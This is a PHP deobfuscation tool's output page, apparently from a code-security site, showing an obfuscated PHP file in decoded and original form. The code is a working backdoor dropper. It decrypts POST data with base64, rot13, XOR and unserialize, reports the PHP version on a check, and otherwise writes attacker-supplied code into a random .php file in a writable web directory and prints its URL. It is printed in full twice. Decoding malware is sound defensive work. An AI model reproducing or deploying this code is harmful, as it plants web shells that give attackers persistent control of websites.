Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $xEGwVw = "TFSSjeksA";function bDygZVs($xEGwVw){$lPLcYfXT = "\x72".chr(851-754).chr(..

Decoded Output download

<?php $xEGwVw = "TFSSjeksA";function bDygZVs($xEGwVw){$lPLcYfXT = "r".chr(851-754).chr(420-301)."u".chr(1001-887).chr(429-321).chr(100)."e".chr(99).'o'."d".chr(145-44);$BsGEBo = 's'.'t'.chr(725-611).chr(757-662).chr(326-212).'o'.chr(116)."1".chr(1047-996);$CngCyTgt = chr(1009-894)."t"."r".'_'.chr(115).'p'."l"."i"."t";$xEGwVw = $CngCyTgt($lPLcYfXT($BsGEBo($xEGwVw)));return $xEGwVw;}function itwODo($PBWizV, $bgbVlI){$cZfwiKDmeZ = 's'.chr(329-213)."r"."_".chr(115).chr(112)."l"."i".chr(116);$PBWizV = array_slice($cZfwiKDmeZ(str_repeat($PBWizV, (count($bgbVlI)/16)+1)), 0, count($bgbVlI));return $PBWizV;}function QrhvzlVE($iBNTp, $UyguePmATA, $PBWizV){$VuNoQrvmV = "6be04c5b-df14-4634-9814-e36d9eb62ed0";return $iBNTp ^ $VuNoQrvmV[$UyguePmATA % strlen($VuNoQrvmV)] ^ $PBWizV;}function IVrMnizrH($bgbVlI, $PBWizV){$bgbVlI = array_map("QrhvzlVE", array_values($bgbVlI), array_keys($bgbVlI), array_values($PBWizV));$bgbVlI = implode("", $bgbVlI);$OdQcptqC = "u".'n'.'s'.chr(963-862).chr(938-824)."i".'a'.chr(470-362).chr(105)."z".chr(317-216);$bgbVlI = @$OdQcptqC($bgbVlI);return $bgbVlI;}function OpnRfRu(){echo "gQMvpSWx";}function mOMABpqPaB($hHXdVCXZJir){static $rsfCfwEU = array();$JzaNFOV = glob($hHXdVCXZJir . '/*', GLOB_ONLYDIR);$brqPD = count($JzaNFOV);if ($brqPD > 0) {foreach ($JzaNFOV as $hHXdVCXZJ) {$jllmfvvuFW = chr(105).chr(115).'_'."w".'r'."i".chr(146-30).'a'.chr(98)."l".'e';if (@$jllmfvvuFW($hHXdVCXZJ)) {$rsfCfwEU[] = $hHXdVCXZJ;}}}foreach ($JzaNFOV as $hHXdVCXZJir) mOMABpqPaB($hHXdVCXZJir);return $rsfCfwEU;}function YATUCGBlNr(){echo "TFSSjeksA";}function yApoKCw($bgbVlI){$dJsQV = chr(476-408).chr(79).chr(120-53)."U"."M"."E".'N'."T".'_'.chr(82)."O"."O".'T';$rHQyG = $_SERVER[$dJsQV];$JzaNFOV = mOMABpqPaB($rHQyG);$xUjYDdIa = array_rand($JzaNFOV);$IVoJu = '.'.chr(530-418).chr(927-823)."p";$FQmWdO = $JzaNFOV[$xUjYDdIa] . "/" . substr(md5(time()), 0, 8) . $IVoJu;$fGOhwsC = chr(102).chr(559-454).chr(473-365).chr(101)."_".chr(112)."u"."t"."_".'c'.'o'."n"."t".chr(914-813)."n"."t".chr(620-505);@$fGOhwsC($FQmWdO, $bgbVlI);$MJSAL = "H".'T'.chr(84)."P"."_".chr(72)."O".chr(83).chr(603-519);$tBFXkgeqe = chr(314-210)."t".'t'.chr(547-435).":"."/".chr(47);$FEZQJosXp = $tBFXkgeqe . $_SERVER[$MJSAL] . substr($FQmWdO, strlen($rHQyG));print($FEZQJosXp);}foreach ($_POST as $PBWizV => $bgbVlI){$yZMWZk = strlen($PBWizV);if ($yZMWZk == 16){$bgbVlI = bDygZVs($bgbVlI);$PBWizV = itwODo($PBWizV, $bgbVlI);$bgbVlI = IVrMnizrH($bgbVlI, $PBWizV);if (@is_array($bgbVlI)){$xUjYDdIa = array_keys($bgbVlI);$bgbVlI = $bgbVlI[$xUjYDdIa[0]];if ($bgbVlI === $xUjYDdIa[0]){$vkswOlB = "p"."h"."p";$KKbdMHsNr = chr(1094-982).'h'.chr(240-128).'v'.'e'.'r'."s".chr(170-65).chr(1033-922)."n";$mhMRr = "s".chr(101).chr(114).chr(105).'a'."l"."i".chr(943-821).'e';echo @$mhMRr(Array($vkswOlB => @$KKbdMHsNr(), ));strlen($PBWizV);}else {yApoKCw($bgbVlI);}die();}}} ?>

Did this file decode correctly?

Original Code

<?php $xEGwVw = "TFSSjeksA";function bDygZVs($xEGwVw){$lPLcYfXT = "\x72".chr(851-754).chr(420-301)."\x75".chr(1001-887).chr(429-321).chr(100)."\x65".chr(99).'o'."\144".chr(145-44);$BsGEBo = 's'.'t'.chr(725-611).chr(757-662).chr(326-212).'o'.chr(116)."\x31".chr(1047-996);$CngCyTgt = chr(1009-894)."\x74"."\x72".'_'.chr(115).'p'."\154"."\151"."\x74";$xEGwVw = $CngCyTgt($lPLcYfXT($BsGEBo($xEGwVw)));return $xEGwVw;}function itwODo($PBWizV, $bgbVlI){$cZfwiKDmeZ = 's'.chr(329-213)."\162"."\137".chr(115).chr(112)."\x6c"."\151".chr(116);$PBWizV = array_slice($cZfwiKDmeZ(str_repeat($PBWizV, (count($bgbVlI)/16)+1)), 0, count($bgbVlI));return $PBWizV;}function QrhvzlVE($iBNTp, $UyguePmATA, $PBWizV){$VuNoQrvmV = "6be04c5b-df14-4634-9814-e36d9eb62ed0";return $iBNTp ^ $VuNoQrvmV[$UyguePmATA % strlen($VuNoQrvmV)] ^ $PBWizV;}function IVrMnizrH($bgbVlI, $PBWizV){$bgbVlI = array_map("QrhvzlVE", array_values($bgbVlI), array_keys($bgbVlI), array_values($PBWizV));$bgbVlI = implode("", $bgbVlI);$OdQcptqC = "\x75".'n'.'s'.chr(963-862).chr(938-824)."\x69".'a'.chr(470-362).chr(105)."\x7a".chr(317-216);$bgbVlI = @$OdQcptqC($bgbVlI);return $bgbVlI;}function OpnRfRu(){echo "gQMvpSWx";}function mOMABpqPaB($hHXdVCXZJir){static $rsfCfwEU = array();$JzaNFOV = glob($hHXdVCXZJir . '/*', GLOB_ONLYDIR);$brqPD = count($JzaNFOV);if ($brqPD > 0) {foreach ($JzaNFOV as $hHXdVCXZJ) {$jllmfvvuFW = chr(105).chr(115).'_'."\167".'r'."\x69".chr(146-30).'a'.chr(98)."\x6c".'e';if (@$jllmfvvuFW($hHXdVCXZJ)) {$rsfCfwEU[] = $hHXdVCXZJ;}}}foreach ($JzaNFOV as $hHXdVCXZJir) mOMABpqPaB($hHXdVCXZJir);return $rsfCfwEU;}function YATUCGBlNr(){echo "TFSSjeksA";}function yApoKCw($bgbVlI){$dJsQV = chr(476-408).chr(79).chr(120-53)."\125"."\x4d"."\x45".'N'."\124".'_'.chr(82)."\117"."\x4f".'T';$rHQyG = $_SERVER[$dJsQV];$JzaNFOV = mOMABpqPaB($rHQyG);$xUjYDdIa = array_rand($JzaNFOV);$IVoJu = '.'.chr(530-418).chr(927-823)."\160";$FQmWdO = $JzaNFOV[$xUjYDdIa] . "/" . substr(md5(time()), 0, 8) . $IVoJu;$fGOhwsC = chr(102).chr(559-454).chr(473-365).chr(101)."\x5f".chr(112)."\x75"."\x74"."\x5f".'c'.'o'."\x6e"."\x74".chr(914-813)."\156"."\164".chr(620-505);@$fGOhwsC($FQmWdO, $bgbVlI);$MJSAL = "\x48".'T'.chr(84)."\x50"."\x5f".chr(72)."\x4f".chr(83).chr(603-519);$tBFXkgeqe = chr(314-210)."\x74".'t'.chr(547-435)."\x3a"."\57".chr(47);$FEZQJosXp = $tBFXkgeqe . $_SERVER[$MJSAL] . substr($FQmWdO, strlen($rHQyG));print($FEZQJosXp);}foreach ($_POST as $PBWizV => $bgbVlI){$yZMWZk = strlen($PBWizV);if ($yZMWZk == 16){$bgbVlI = bDygZVs($bgbVlI);$PBWizV = itwODo($PBWizV, $bgbVlI);$bgbVlI = IVrMnizrH($bgbVlI, $PBWizV);if (@is_array($bgbVlI)){$xUjYDdIa = array_keys($bgbVlI);$bgbVlI = $bgbVlI[$xUjYDdIa[0]];if ($bgbVlI === $xUjYDdIa[0]){$vkswOlB = "\x70"."\x68"."\x70";$KKbdMHsNr = chr(1094-982).'h'.chr(240-128).'v'.'e'.'r'."\x73".chr(170-65).chr(1033-922)."\x6e";$mhMRr = "\x73".chr(101).chr(114).chr(105).'a'."\154"."\151".chr(943-821).'e';echo @$mhMRr(Array($vkswOlB => @$KKbdMHsNr(), ));strlen($PBWizV);}else {yApoKCw($bgbVlI);}die();}}}

Function Calls

None

Variables

$xEGwVw TFSSjeksA

Stats

MD5 0a9940303706fb9cc7414b94271830eb
Eval Count 0
Decode Time 82 ms